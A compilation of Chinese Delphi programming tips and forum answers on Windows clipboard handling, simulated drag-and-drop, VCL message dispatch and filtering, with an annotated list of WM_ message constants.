Clipboard.Open;

try

clipboard.Clear;

reader.ReadListBegin;

while not reader.EndOfList do

LoadClipboardFormat(reader);

reader.ReadListEnd;

finally

Clipboard.Close;

end; { Finally }

finally

reader.Free

end; { Finally }

end; { LoadClipboard }

// Examples:

{ Save Clipboard }

procedure TForm1.Button1Click(Sender: TObject);

var

ms: TMemoryStream;

begin

ms := TMemoryStream.Create;

try

SaveClipboard(ms);

ms.SaveToFile('c:.dat');

finally

ms.Free;

end; { Finally }

end;

{ Clear Clipboard }

procedure TForm1.Button2Click(Sender: TObject);

begin

clipboard.Clear;

end;

{ Restore Clipboard }

procedure TForm1.Button3Click(Sender: TObject);

var

fs: TfileStream;

begin

fs := TFilestream.Create('c:.dat',

fmopenread or fmsharedenynone);

try

LoadClipboard(fs);

finally

fs.Free;

end; { Finally }

end;


剪贴板格式和数据存储
回复人： disney(编程乐园) ( ) 信誉：100 2002-12-05 23:12:00 得分:0

我发现大家都不看帮助文档，不分析代码，其实很简单的。

主要内容是这样的：剪贴板中可以同时存放多种数据，TClipboard类型

在FormatCount记录有数据的项数，Formats[]则是这些数据的类型，

WINAPI的GetClipboardFormatName函数可以得到数据类型的名字，IE

复制下来的数据一般有HTML format的数据，把它复制下来就是网页。

ASTEXT只是获得调用GetClipboardData(CF_TEXT)，得到的一定是文本

数据。下面程序可得到贴板中的网页源码，前面还有加有源URL地址及

其它内容，一看就明白。

procedure TForm1.Button1Click(Sender: TObject);

var fn,html:string;

i,fl,size:integer;

data:thandle;

p:pointer; //数据指针

begin

clipboard.Open;

memo1.text:='';

for i:=0 to Clipboard.FormatCount-1 do begin

setlength(fn,100);

fl:=GetClipboardFormatName(clipboard.Formats[i],@fn[1],200);

setlength(fn,fl);

if pos('HTML',fn)>0 then begin //是HTML数据

Data := GetClipboardData(clipboard.formats[i]); //得到数据内存句柄

try

p:=GlobalLock(Data);

size:=globalsize(data); //得到数据大小

setlength(html,size); //设置保存区域

move(p^,html[1],size); //复制数据

finally

GlobalUnlock(Data);

end;

break;

end;

end;

memo2.text:=html;

clipboard.close;

end;

把网页保存到数据库中，使用类似MEMO、TEXT或映像字段即可。


文件拖放给其他程序
send data to another program by auto-drag&drop?

下面的代码演示给记事本用拖放的方式打开一个文件。

uses

ShellAPI;

function MakeDrop(const FileNames: array of string): THandle;

// Creates a hDrop Object

var

I, Size: Integer;

Data: PDragInfoA;

P: PChar;

begin

// Calculate memory size needed

Size := SizeOf(TDragInfoA) + 1;

for I := 0 to High(FileNames) do

Inc(Size, Length(FileNames[I]) + 1);

// allocate the memory

Result := GlobalAlloc(GHND or GMEM_SHARE, Size);

if Result <> 0 then

begin

Data := GlobalLock(Result);

if Data <> nil then

try

// fill up with data

Data.uSize := SizeOf(TDragInfoA);

P := PChar(@Data.grfKeyState) + 4;

Data.lpFileList := P;

// filenames at the at of the header (separated with #0)

for I := 0 to High(FileNames) do

begin

Size := Length(FileNames[I]);

Move(Pointer(FileNames[I])^, P^, Size);

Inc(P, Size + 1);

end;

finally

GlobalUnlock(Result);

end

else

begin

GlobalFree(Result);

Result := 0;

end;

end;

end;

function MyEnum(Wnd: hWnd; Res: PInteger): Bool; stdcall;

// search for a edit control with classname 'TEditControl'

var

N: string;

begin

SetLength(N, MAX_PATH);

SetLength(N, GetClassName(Wnd, Pointer(N), Length(N)));

Result := AnsiCompareText('TEditControl', N) <> 0;

if not Result then Res^ := Wnd;

end;

// Example: Open msdos.sys in Delphi's Editor window

procedure TForm1.Button1Click(Sender: TObject);

var

Wnd: HWnd;

Drop: hDrop;

begin

// search for Delphi's Editor

// EnumChildWindows(FindWindow('TEditWindow', nil), @MyEnum, Integer(@Wnd));

wnd := FindWindow('notepad', nil);

if IsWindow(Wnd) then

begin

// Delphi's Editor found. Open msdos.sys

Drop := MakeDrop(['C:.sys']);

if Drop <> 0 then PostMessage(Wnd, wm_DropFiles, Drop, 0);

// Free the memory?

GlobalFree(Drop);

end;

end;


怎样判断鼠标的双击
怎样判断鼠标的双击

if (Shift=[ssRight,ssDouble])右键

if (Shift=[ssLeft,ssDouble])右键

*********

if ssDouble in Shift then

模拟鼠标的事件

Control1.Perform( WM_LBUTTONDOWN, Keys, MakeLong(yPos, xPos) ); // 鼠标按下

Control1.Perform( WM_LBUTTONUP, Keys, MakeLong(yPos, xPos) ); // 鼠标抬起


禁止屏幕保护程序启动
处理WM_SYSCOMMAND，其中wParam参数为SC_SCREENSAVE的时候，返回0即可。同样显示器的关闭也有消息：SC_MONITORPOWER。


如何在你的程序窗口之前拦截消息
实际上我们的程序有一个隐藏的窗口，就是Application对象，我们所有的消息循环都是Application来完成的，因此，我们只要在Application之前处理消息的话，就可以达到控制本程序所有消息的目的了！

下面的示例工程文件演示了如何做到这一点：

program Project1;

uses

Forms, messages, wintypes, winprocs,

Unit1 in 'UNIT1.PAS' {Form1};

{$R *.RES}

var

OldWndProc: TFarProc;

function NewWndProc(hWndAppl: HWnd; Msg, wParam: Word;

lParam: Longint): Longint; export;

begin

NewWndProc := 0; { Default WndProc return value }

{ * * * Handle messages here; The message number is in Msg * * * }

NewWndProc := CallWindowProc(OldWndProc, hWndAppl, Msg,

wParam, lParam);

end;

begin

Application.CreateForm(TForm1, Form1);

OldWndProc := TFarProc(GetWindowLong(Application.Handle,

GWL_WNDPROC));

SetWindowLong(Application.Handle, GWL_WNDPROC,

longint(@NewWndProc));

Application.Run;

end.


Windows XP的消息限制
我们知道消息是有一个队列的，这个队列是有限制的（最多有多少个消息在队列中），在Windows 200/XP中我们可以修改这个限制的极限：

[HKEY_LOCAL_MACHINENT]

USERPostMessageLimit，DWORD类型，修改其值即可。一般地，一个可以接受的数值是4000。默认是10000。


DELPHI中的消息处理机制
DELPHI中的消息处理机制

Delphi是Borland公司提供的一种全新的WINDOWS编程开发工具.由于它采用了具有弹性的和可重用的面向对象Pascal(object-oriented pascal)语言,并有强大的数据库引擎(BDE),快速的代码编译器,同时又提供了众多出色的构件.受到广大编程人员的青睐.在众多的编程语言(如VB,PowerBuilder,Powerpoint等)中脱颖而出.

其中一个DELPHI强于其他编程语言(如VB4.0)的地方就是在DELPHI中可自定义消息,并可直接处理消息.这对于那些希望编写自己的构件(Component),或者希望截获.过滤消息的用户来说是必不可少的.因为编写构件一般要对相应的消息进行处理.下面就对Delphi中消息处理机制进行一下介绍。

一.DELPHIVCL中消息的传递

Delphi中每一个VCL(Visual Component Library)构件(如Tbutton,Tedit等)都有一内在的消息处理机制，其基本点就是构件类接收到某些消息并把它们发送给适当的处理方法,如果没有特定的处理方法，则调用缺省的消息处理句柄。

其中mainwndproc是定义在Twincontrol类中的一个静态方法，不能被重载(Override)。它不直接处理消息，而是交由wndproc方法处理，并为wndproc方法提供一个异常处理模块。Mainwndproc方法声明如下:

procedure MainWndProc(var Message: TMessage);

Wndproc是在Tcontrol类中定义的一个虚拟方法,由它调用dispatch方法来进行消息的分配,wndproc方法声明如下:

procedure WndProc(var Message: TMessage); virtual;

dispatch方法是在Tobject根类中定义的,其声明如下:

procedure Tobject.dispatch(var Message);传递给dispatch的消息参数必须是一个记录类型,且这个记录中第一个入点必须是一个cardinal类型的域(field),它包含了要分配的消息的消息号码.例如:

type

Tmessage=record

Msg:cardinal;

wparam:word;

lparam:longint; .

result:longint;

end;

而Dispatch方法会根据消息号码调用构件的最后代类中处理此消息的句柄方法.如果此构件和它的祖先类中都没有对应此消息的处理句柄,Dispatch方法便会调用Defaulthandler方法.Defaulthandler方法是定义于Tobject中的虚拟方法,其声明如下:

procedure Defaulthandler(var Message);virtual;

Tobject类中的Defaulthandler方法只是实现简单的返回而不对消息进行任何的处理.我们可以通过对此虚拟方法的重载,在子类中实现对消息的缺省处理.对于VCL中的构件而言,其Defaulthandler方法会启动windowsAPI函数Defwindowproc对消息进行处理.

二.DELPHI中的消息处理句柄

在DELPHI中用户可以自定义消息及消息处理句柄.消息处理句柄的定义有如下几个原则:

消息处理句柄方法必须是一个过程,且只能传递一个Tmessage型变量参数.

方法声明后要有一个message命令,后接一个在0到32767之间的消息标号(整型常数).

消息处理句柄方法不需要用override命令来显式指明重载祖先的一个消息处理句柄,另外它一般声明在构件的protected或private区.

在消息处理句柄中一般先是用户自己对消息的处理,最后用inherited命令调用祖先类中对应此消息的处理句柄（有些情况下可能正相反）.由于可能对祖先类中对此消息的处理句柄的名字和参数类型不清楚,而调用命令inherited可以避免此麻烦,同样如果祖先类中没有对应此消息的处理句柄,inherited就会自动调用Defaulthandler方法.（当然如果要屏蔽掉此消息,就不用inherited命令了）。

消息处理句柄方法声明为：

procedure Mymsgmethod(var message:Tmessage); message Msgtype;

同样用户也可以定义自己的消息,用户自定义消息应从WM_USER开始.

自定义消息及消息处理句柄举例如下:

const my_paint=Wm_user+1;

type

Tmypaint=record

msgid:cardinal;

msize:word;

mcolor:longint;

msgresult:longint;

end;

type

Tmycontrol=class(TCustomControl)

protected

procedure change(var message:Tmypaint); message my_paint;

.....

end;

......

procedure Tmycontrol.change(var message:Tmypaint);

begin

size:=message.msize;{设置Tmybutton尺寸属性}

color:=message.mcolor;{设置Tmybutton颜色属性}

{do something else}

inherited; { 交 由Tcustomcontrol 处 理}

end;

三.过滤消息

过滤消息又称消息陷阱。在一定情况下，用户可能需要屏蔽某些消息.或者截获某些消息进行处理。由以上介绍可以看出过滤消息一般有三种途径：(1).重载构件继承的虚拟方法wndproc.(2).针对某

消息编写消息处理句柄.(3).重载构件继承的虚拟方法Defhandler，在其中对消息进行处理。其中常用的方法是方法(2),在上节中已介绍过了，方法(1)与方法(3)相似，这里只简单介绍一下方法(1)。

重 载 虚 拟 方 法wndproc 的 一 般 过 程 如 下：

procedure Tmyobject.wndproc(var message:Tmessage);

begin

{...判断此消息是否该处理..}

inheritedwndproc(message);

{未处理的消息交由父辈wndproc方法处理}

end;

由此可以看出在wndproc方法中处理消息的优势是可以过滤整个范围内的消息，而不必为每个消息指定一个处理句柄，事实上Tcontrol构件中就是利用它来过滤并处理所有的鼠标消息的(从WM_mousefirst到WM_mouselast，如下代码示).同样利用它也可以阻止某些消息被发送给处理句柄。

procedure TControl.WndProc(var Message: TMessage);

begin

if (Message.Msg>=WM_MOUSEFIRST) and (Message.Msg <= WM_MOUSELAST) then

if Dragging then{处理拖曳事件}

DragMouseMsg(TWMMouse(Message))

else

...{处理其他鼠标消息}

end;

Dispatch(Message);

{否则正常发送消息}

end;

下例为一简单的自定义构件例子：

Tmyedit类是从Tedit类派生出的一个新类，它的特点是在运行中不能获得焦点，不能由键盘输入（有点类似Tlabel构件）.我们可在其wndproc方法中过滤出WM_setfocus,WM_mousemove消息并进行处理来达到上述

要求，源程序如下：

unit myedit;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics,Controls, Forms, Dialogs,

StdCtrls;

type

Tmyedit = class(TEdit)

private

{ Private declarations }

protected

{ Protected declarations }

{ other fields and methods}

procedure wndproc(var message:Tmessage);override;

public

{ Public declarations }

published

{ Published declarations }

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Samples', [Tmyedit]);

end;

procedure Tmyedit.wndproc(var message:tmessage);

begin

if message.msg=wm_mousemove then

begin

cursor:=crarrow;

{设置光标为crarrow,而不是缺省的crBeam光标}

exit;

end;

if message.msg=wm_SetFocus then

exit;

{屏蔽掉WM_setfocus消息,不让Tmyedit控件获得输入焦点}

inherited wndproc(message);

{其他消息交父辈wndproc处理}

end;

end.

您可以将Tmyedit加到Component Palette中检验其性能。

由以上介绍可以看出，只有清楚了Delphi VCL中的消息处理机制，掌握好处理各种消息的方法和时机（必要时要借助各种工具，如winsight32,spy等），并结合OOP语言的特点，我们才可能编出高质量的构件。这当然要靠读者在实践中不断摸索，积累经验。


系统文件文件改变
wm_sysfilechange


postmesssage和sendmessage有什么区别
PostMessage只负责将消息放到消息队列中，不确定何时及是否处理

SendMessage要等到受到消息处理的返回码（DWord类型）后才继续

PostMessage执行后马上返回

SendMessage必须等到消息被处理后才会返回。


监视显示器的改变
procedure WMDisplayChange(var Message:TMessage); message WM_DISPLAYCHANGE;

begin

ShowMessage('Changes in display detected!');

inherited;

end;


关于窗体MouseDown的一个问题
为什么执行了这段代码之后，我的鼠标还一定要在我的mouse up之后才会变呢？

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

form1.Cursor:=crcross;

end;

不要多想别的，以上是我给我的application所加的唯一的一句话了！

答案更白痴，就是这么设计的。

FindDragTarget 在响应 CM_SETCURSOR 被调用了，在Drag & Drop 操作的时候不能更改

Cursor, 就是这么设计的。

查一下 Control.pas 你就明白了。

改成这样：

screen.Cursor:=crcross


监控程序的所有消息
重载虚拟方法wndproc即可！重 载 虚 拟 方 法wndproc 的 一 般 过 程 如 下：

procedure Tmyobject.wndproc(var message:Tmessage);

begin

{... 判 断 此 消 息 是 否 该 处 理..}

inherited wndproc(message);

{ 未 处 理 的 消 息 交 由 父 辈wndproc 方 法 处 理}

end;

由 此 可 以 看 出 在wndproc 方 法 中 处 理 消 息 的 优 势 是 可 以 过 滤 整 个 范 围 内 的 消 息，而 不

必 为 每 个 消 息 指 定 一 个 处 理 句 柄， 事 实 上Tcontrol 构 件中 就 是 利 用 它 来 过 滤 并 处 理 所 有 的 鼠 标

消 息 的


禁止使用CLIPBOARD进行COPY，PASTE
在你的程序中拦截这些剪贴版的消息（可能要不来这么多），不处理它就可以了（用几个空的标准的Action就可以了。）

WM_COPY

WM_CUT

WM_PASTE

可以这么做

procedure ClipCopy(var M:TMessage); Message WM_COPY;

begin

end;

不难，override Wndproc处理，将WM_COPY,WM_PASTE WM_CUT过滤。

在程序运行时Open

结束时Close

Clipboard.Open

Opens the clipboard, preventing other applications from changing its contents until the clipboard is closed.

procedure Open;

Description

Call Open before adding a series of items to the clipboard. This prevents other applications from overwriting the clipboard until it is closed. (When adding a single item to the clipboard, there is no need to call Open.)

When an application has finished adding items to the clipboard, it should call the Close method. The clipboard can be opened with multiple calls to the Open method before being closed. Open and Close maintain a count of the number of times the clipboard has been opened and will not close it until Close has been called the same number of times.


自定义消息的注意事项
在不同的程序之间进行自定义消息的传递和处理时，必须使用RegisterWindowMessage注册消息。否则没有办法传递消息。


鼠标移入移出消息
CM_MOUSEENTER

CM_MOUSELEAVE

必须自己继承控件，因为这不是Windows的标准消息。

在Form中声明两个函数：

procedure CMMouseEnter(var msg:tmessage);message CM_MOUSEENTER;

procedure CMMouseLeave(var msg:tmessage);message CM_MOUSELEAVE;

实现部分如下：

procedure Form.CMMouseEnter(var msg:tmessage);

var

obj:TObject;

begin

obj:=Tobject(msg.lParam);//鼠标所在的控件

if obj<>nil then

begin

//确定控件的类型

//你的处理

end;

end;

procedure Form.CMMouseLeave(var msg:tmessage);

var

obj:TObject;

begin

obj:=Tobject(msg.lParam);//鼠标所在的控件

if obj<>nil then

begin

//确定控件的类型

//你的处理

end;

end;

---------------------------------------

procedure TForm1.cmmouseenter(var msg:tmessage);

begin

if msg.LParam=integer(button1) then

showmessage('fsdkfs');

end;


打开CD-ROM的另外一个方法
我在使用这个函数时,已经使CDROM打开了,

这样使用:

procedure tform1.wmdevicechange(var msg:tmessage);

begin

if msg.wparam=DBT_DEVICEREMOVEPENDING then

msg.result:=true;

而delphi5系统却是报出错,DBT_DEVICEREMOVEPENDING 出现什么错误!

我已经在开头声明了这个函数了!


清空本程序的键盘消息队列
procedure EmptyKeyQueue;

var

Msg : TMsg;

begin

while PeekMessage(Msg, 0, WM_KEYFIRST, WM_KEYLAST, PM_REMOVE or PM_NOYIELD) do;

end;

procedure EmptyMouseQueue;

var

Msg : TMsg;

begin

while PeekMessage(Msg, 0, WM_MOUSEFIRST, WM_MOUSELAST, PM_REMOVE or PM_NOYIELD) do;

end;


关机的消息
关机的消息是：WM_QUERYENDSESSION

WM_QUERYENDSESSION

nSource = (UINT) wParam; // source of end-session request

fLogOff = lParam // logoff flag

Parameters

nSource

Reserved for future use.

fLogOff

Value of lParam. Indicates whether the user is logging off or shutting down the system. Supported values include: ENDSESSION_LOGOFF.

Return Values

If an application can terminate conveniently, it should return TRUE; otherwise, it should return FALSE.

当执行exitwindows函数时

它会发送一个WM_QUERYENDSESSION消息给所有正在运行的程序。


Delphi的消息处理流程
TApplication.O n M e s s a g e 只在应用程序的消息队列接收到一个消息时才被触发(在第5 章中有关于消

息的讨论)。一般应用程序接收到的消息是与窗口管理有关的消息(例如W M _ PA I N T 和W M _ S I Z E ) ,或由

P o s t M e s s a g e ( )、P o s t A p p M e s s a g e ( )或B r o a d c a s t S y s t e m M e s s a g e ( )等A P I 函数发送出的消息。但是，由于

Wi n d o w s 或S e n d M e s s a g e ( )有可能会绕过消息队列直接将消息发送给窗口过程。当发生这种情况时，

TA p p l i c a t i o n . O n M e s s a g e 就不会被触发。

VCL的消息系统：

VCL定义了消息分发系统，该系统将所有的Windows消息传给相应的对象，由各对象的消息

分发系统进行处理。

VCL对象用于接受消息的方法叫做MainWndProc()。通过MainWndPorc()可以对消息进行任何

的处理。不过，一般情况下很少直接调用MainWndProc()来处理消息，除非不想让消息通过

VCL的消息系统分发。

从MainWndProc()反回后，消息被传递给对象的WndProc（）的方法，这就是该对象的窗体

过程，然后进入VCL的分发机构。分发机构使用Disptch()方法把消息分发给一个消息句柄。

消息到达该消息的处理句柄（Handler）后，经过该句柄的处理，这个消息处理过程就结束

了。

事件--MainWndProc---WndProc----Dispatch----Handle


消息简介
来自：cool_cool, 时间：2001-8-14 14:24:00, ID：597873

消息，就是指Wi n d o w s发出的一个通知，告诉应用程序某个事情发生了。例如，单击鼠标、改变窗口尺寸、按下键盘上的一个键都会使Wi n d o w s发送一个消息给应用程序。

消息本身是作为一个记录传递给应用程序的，这个记录中包含了消息的类型以及其他信息。例如，

对于单击鼠标所产生的消息来说，这个记录中包含了单击鼠标时的坐标。这个记录类型叫做T M s g，它

在Wi n d o w s单元中是这样声明的：

t y p e

TMsg = packed record

hwnd: HWND; / /窗口句柄

message: UINT; / /消息常量标识符

wParam: WPA R A M ; // 32位消息的特定附加信息

lParam: LPA R A M ; // 32位消息的特定附加信息

time: DWORD; / /消息创建时的时间

pt: TPoint; / /消息创建时的鼠标位置

e n d ;

消息中有什么？

是否觉得一个消息记录中的信息像希腊语一样？如果是这样，那么看一看下面的解释：

hwnd 32位的窗口句柄。窗口可以是任何类型的屏幕对象，因为Win32能够维护大多数可

视对象的句柄(窗口、对话框、按钮、编辑框等)。

message 用于区别其他消息的常量值，这些常量可以是Windows单元中预定义的常量，也

可以是自定义的常量。

wParam 通常是一个与消息有关的常量值，也可能是窗口或控件的句柄。

lParam 通常是一个指向内存中数据的指针。由于W P a r a m、l P a r a m和P o i n t e r都是3 2位的，

因此，它们之间可以相互转换。

WM_NULL = $0000;

WM_CREATE = $0001;

应用程序创建一个窗口

WM_DESTROY = $0002;

一个窗口被销毁

WM_MOVE = $0003;

移动一个窗口

WM_SIZE = $0005;

改变一个窗口的大小

WM_ACTIVATE = $0006;

一个窗口被激活或失去激活状态；

WM_SETFOCUS = $0007;

获得焦点后

WM_KILLFOCUS = $0008;

失去焦点

WM_ENABLE = $000A;

改变enable状态

WM_SETREDRAW = $000B;

设置窗口是否能重画

WM_SETTEXT = $000C;

应用程序发送此消息来设置一个窗口的文本

WM_GETTEXT = $000D;

应用程序发送此消息来复制对应窗口的文本到缓冲区

WM_GETTEXTLENGTH = $000E;

得到与一个窗口有关的文本的长度（不包含空字符）

WM_PAINT = $000F;

要求一个窗口重画自己

WM_CLOSE = $0010;

当一个窗口或应用程序要关闭时发送一个信号

WM_QUERYENDSESSION = $0011;

当用户选择结束对话框或程序自己调用ExitWindows函数

WM_QUIT = $0012;

用来结束程序运行或当程序调用postquitmessage函数

WM_QUERYOPEN = $0013;

当用户窗口恢复以前的大小位置时，把此消息发送给某个图标

WM_ERASEBKGND = $0014;

当窗口背景必须被擦除时（例在窗口改变大小时）

WM_SYSCOLORCHANGE = $0015;

当系统颜色改变时，发送此消息给所有顶级窗口

WM_ENDSESSION = $0016;

当系统进程发出WM_QUERYENDSESSION消息后，此消息发送给应用程序，

通知它对话是否结束

WM_SYSTEMERROR = $0017;

WM_SHOWWINDOW = $0018;

当隐藏或显示窗口是发送此消息给这个窗口

WM_ACTIVATEAPP = $001C;

发此消息给应用程序哪个窗口是激活的，哪个是非激活的；

WM_FONTCHANGE = $001D;

当系统的字体资源库变化时发送此消息给所有顶级窗口

WM_TIMECHANGE = $001E;

当系统的时间变化时发送此消息给所有顶级窗口

WM_CANCELMODE = $001F;

发送此消息来取消某种正在进行的摸态（操作）

WM_SETCURSOR = $0020;

如果鼠标引起光标在某个窗口中移动且鼠标输入没有被捕获时，就发消息给某个窗口

WM_MOUSEACTIVATE = $0021;

当光标在某个非激活的窗口中而用户正按着鼠标的某个键发送此消息给当前窗口

WM_CHILDACTIVATE = $0022;

发送此消息给MDI子窗口当用户点击此窗口的标题栏，或当窗口被激活，移动，改变大小

WM_QUEUESYNC = $0023;

此消息由基于计算机的训练程序发送，通过WH_JOURNALPALYBACK的hook程序

分离出用户输入消息

WM_GETMINMAXINFO = $0024;

此消息发送给窗口当它将要改变大小或位置；

WM_PAINTICON = $0026;

发送给最小化窗口当它图标将要被重画

WM_ICONERASEBKGND = $0027;

此消息发送给某个最小化窗口，仅当它在画图标前它的背景必须被重画

WM_NEXTDLGCTL = $0028;

发送此消息给一个对话框程序去更改焦点位置

WM_SPOOLERSTATUS = $002A;

每当打印管理列队增加或减少一条作业时发出此消息

WM_DRAWITEM = $002B;

当button，combobox，listbox，menu的可视外观改变时发送

此消息给这些空件的所有者

WM_MEASUREITEM = $002C;

当button, combo box, list box, list view control, or menu item 被创建时

发送此消息给控件的所有者

WM_DELETEITEM = $002D;

当the list box 或 combo box 被销毁 或 当 某些项被删除通过LB_DELETESTRING, LB_RESETCONTENT, CB_DELETESTRING, or CB_RESETCONTENT 消息

WM_VKEYTOITEM = $002E;

此消息有一个LBS_WANTKEYBOARDINPUT风格的发出给它的所有者来响应WM_KEYDOWN消息

WM_CHARTOITEM = $002F;

此消息由一个LBS_WANTKEYBOARDINPUT风格的列表框发送给他的所有者来响应WM_CHAR消息

WM_SETFONT = $0030;

当绘制文本时程序发送此消息得到控件要用的颜色

WM_GETFONT = $0031;

应用程序发送此消息得到当前控件绘制文本的字体

WM_SETHOTKEY = $0032;

应用程序发送此消息让一个窗口与一个热键相关连

WM_GETHOTKEY = $0033;

应用程序发送此消息来判断热键与某个窗口是否有关联

WM_QUERYDRAGICON = $0037;

此消息发送给最小化窗口，当此窗口将要被拖放而它的类中没有定义图标，应用程序能

返回一个图标或光标的句柄，当用户拖放图标时系统显示这个图标或光标

WM_COMPAREITEM = $0039;

发送此消息来判定combobox或listbox新增加的项的相对位置

WM_GETOBJECT = $003D;

WM_COMPACTING = $0041;

显示内存已经很少了

WM_WINDOWPOSCHANGING = $0046;

发送此消息给那个窗口的大小和位置将要被改变时，来调用setwindowpos函数或其它窗口管理函数

WM_WINDOWPOSCHANGED = $0047;

发送此消息给那个窗口的大小和位置已经被改变时，来调用setwindowpos函数或其它窗口管理函数

WM_POWER = $0048;（适用于16位的windows）

当系统将要进入暂停状态时发送此消息

WM_COPYDATA = $004A;

当一个应用程序传递数据给另一个应用程序时发送此消息

WM_CANCELJOURNAL = $004B;

当某个用户取消程序日志激活状态，提交此消息给程序

WM_NOTIFY = $004E;

当某个控件的某个事件已经发生或这个控件需要得到一些信息时，发送此消息给它的父窗口

WM_INPUTLANGCHANGEREQUEST = $0050;

当用户选择某种输入语言，或输入语言的热键改变

WM_INPUTLANGCHANGE = $0051;

当平台现场已经被改变后发送此消息给受影响的最顶级窗口

WM_TCARD = $0052;

当程序已经初始化windows帮助例程时发送此消息给应用程序

WM_HELP = $0053;

此消息显示用户按下了F1，如果某个菜单是激活的，就发送此消息个此窗口关联的菜单，否则就

发送给有焦点的窗口，如果当前都没有焦点，就把此消息发送给当前激活的窗口

WM_USERCHANGED = $0054;

当用户已经登入或退出后发送此消息给所有的窗口，当用户登入或退出时系统更新用户的具体

设置信息，在用户更新设置时系统马上发送此消息；

WM_NOTIFYFORMAT = $0055;

公用控件，自定义控件和他们的父窗口通过此消息来判断控件是使用ANSI还是UNICODE结构

在WM_NOTIFY消息，使用此控件能使某个控件与它的父控件之间进行相互通信

WM_CONTEXTMENU = $007B;

当用户某个窗口中点击了一下右键就发送此消息给这个窗口

WM_STYLECHANGING = $007C;

当调用SETWINDOWLONG函数将要改变一个或多个 窗口的风格时发送此消息给那个窗口

WM_STYLECHANGED = $007D;

当调用SETWINDOWLONG函数一个或多个 窗口的风格后发送此消息给那个窗口

WM_DISPLAYCHANGE = $007E;

当显示器的分辨率改变后发送此消息给所有的窗口

WM_GETICON = $007F;

此消息发送给某个窗口来返回与某个窗口有关连的大图标或小图标的句柄；

WM_SETICON = $0080;

程序发送此消息让一个新的大图标或小图标与某个窗口关联；

WM_NCCREATE = $0081;

当某个窗口第一次被创建时，此消息在WM_CREATE消息发送前发送；

WM_NCDESTROY = $0082;

此消息通知某个窗口，非客户区正在销毁

WM_NCCALCSIZE = $0083;

当某个窗口的客户区域必须被核算时发送此消息

WM_NCHITTEST = $0084;//移动鼠标，按住或释放鼠标时发生

WM_NCPAINT = $0085;

程序发送此消息给某个窗口当它（窗口）的框架必须被绘制时；

WM_NCACTIVATE = $0086;

此消息发送给某个窗口 仅当它的非客户区需要被改变来显示是激活还是非激活状态；

WM_GETDLGCODE = $0087;

发送此消息给某个与对话框程序关联的控件，widdows控制方位键和TAB键使输入进入此控件

通过响应WM_GETDLGCODE消息，应用程序可以把他当成一个特殊的输入控件并能处理它

WM_NCMOUSEMOVE = $00A0;

当光标在一个窗口的非客户区内移动时发送此消息给这个窗口 //非客户区为：窗体的标题栏及窗

的边框体

WM_NCLBUTTONDOWN = $00A1;

当光标在一个窗口的非客户区同时按下鼠标左键时提交此消息

WM_NCLBUTTONUP = $00A2;

当用户释放鼠标左键同时光标某个窗口在非客户区十发送此消息；

WM_NCLBUTTONDBLCLK = $00A3;

当用户双击鼠标左键同时光标某个窗口在非客户区十发送此消息

WM_NCRBUTTONDOWN = $00A4;

当用户按下鼠标右键同时光标又在窗口的非客户区时发送此消息

WM_NCRBUTTONUP = $00A5;

当用户释放鼠标右键同时光标又在窗口的非客户区时发送此消息

WM_NCRBUTTONDBLCLK = $00A6;

当用户双击鼠标右键同时光标某个窗口在非客户区十发送此消息

WM_NCMBUTTONDOWN = $00A7;

当用户按下鼠标中键同时光标又在窗口的非客户区时发送此消息

WM_NCMBUTTONUP = $00A8;

当用户释放鼠标中键同时光标又在窗口的非客户区时发送此消息

WM_NCMBUTTONDBLCLK = $00A9;

当用户双击鼠标中键同时光标又在窗口的非客户区时发送此消息

WM_KEYFIRST = $0100;

WM_KEYDOWN = $0100;

//按下一个键

WM_KEYUP = $0101;

//释放一个键

WM_CHAR = $0102;

//按下某键，并已发出WM_KEYDOWN， WM_KEYUP消息

WM_DEADCHAR = $0103;

当用translatemessage函数翻译WM_KEYUP消息时发送此消息给拥有焦点的窗口

WM_SYSKEYDOWN = $0104;

当用户按住ALT键同时按下其它键时提交此消息给拥有焦点的窗口；

WM_SYSKEYUP = $0105;

当用户释放一个键同时ALT 键还按着时提交此消息给拥有焦点的窗口

WM_SYSCHAR = $0106;

当WM_SYSKEYDOWN消息被TRANSLATEMESSAGE函数翻译后提交此消息给拥有焦点的窗口

WM_SYSDEADCHAR = $0107;

当WM_SYSKEYDOWN消息被TRANSLATEMESSAGE函数翻译后发送此消息给拥有焦点的窗口

WM_KEYLAST = $0108;

WM_INITDIALOG = $0110;

在一个对话框程序被显示前发送此消息给它，通常用此消息初始化控件和执行其它任务

WM_COMMAND = $0111;

当用户选择一条菜单命令项或当某个控件发送一条消息给它的父窗口，一个快捷键被翻译

WM_SYSCOMMAND = $0112;

当用户选择窗口菜单的一条命令或当用户选择最大化或最小化时那个窗口会收到此消息

WM_TIMER = $0113; //发生了定时器事件

WM_HSCROLL = $0114;

当一个窗口标准水平滚动条产生一个滚动事件时发送此消息给那个窗口，也发送给拥有它的控件

WM_VSCROLL = $0115;

当一个窗口标准垂直滚动条产生一个滚动事件时发送此消息给那个窗口也，发送给拥有它的控件 WM_INITMENU = $0116;

当一个菜单将要被激活时发送此消息，它发生在用户菜单条中的某项或按下某个菜单键，它允许

程序在显示前更改菜单

WM_INITMENUPOPUP = $0117;

当一个下拉菜单或子菜单将要被激活时发送此消息，它允许程序在它显示前更改菜单，而不要

改变全部

WM_MENUSELECT = $011F;

当用户选择一条菜单项时发送此消息给菜单的所有者（一般是窗口）

WM_MENUCHAR = $0120;

当菜单已被激活用户按下了某个键（不同于加速键），发送此消息给菜单的所有者；

WM_ENTERIDLE = $0121;

当一个模态对话框或菜单进入空载状态时发送此消息给它的所有者，一个模态对话框或菜单进入空载状态就是在处理完一条或几条先前的消息后没有消息它的列队中等待

WM_MENURBUTTONUP = $0122;

WM_MENUDRAG = $0123;

WM_MENUGETOBJECT = $0124;

WM_UNINITMENUPOPUP = $0125;

WM_MENUCOMMAND = $0126;

WM_CHANGEUISTATE = $0127;

WM_UPDATEUISTATE = $0128;

WM_QUERYUISTATE = $0129;

WM_CTLCOLORMSGBOX = $0132;

在windows绘制消息框前发送此消息给消息框的所有者窗口，通过响应这条消息，所有者窗口可以

通过使用给定的相关显示设备的句柄来设置消息框的文本和背景颜色

WM_CTLCOLOREDIT = $0133;

当一个编辑型控件将要被绘制时发送此消息给它的父窗口；通过响应这条消息，所有者窗口可以

通过使用给定的相关显示设备的句柄来设置编辑框的文本和背景颜色

WM_CTLCOLORLISTBOX = $0134;

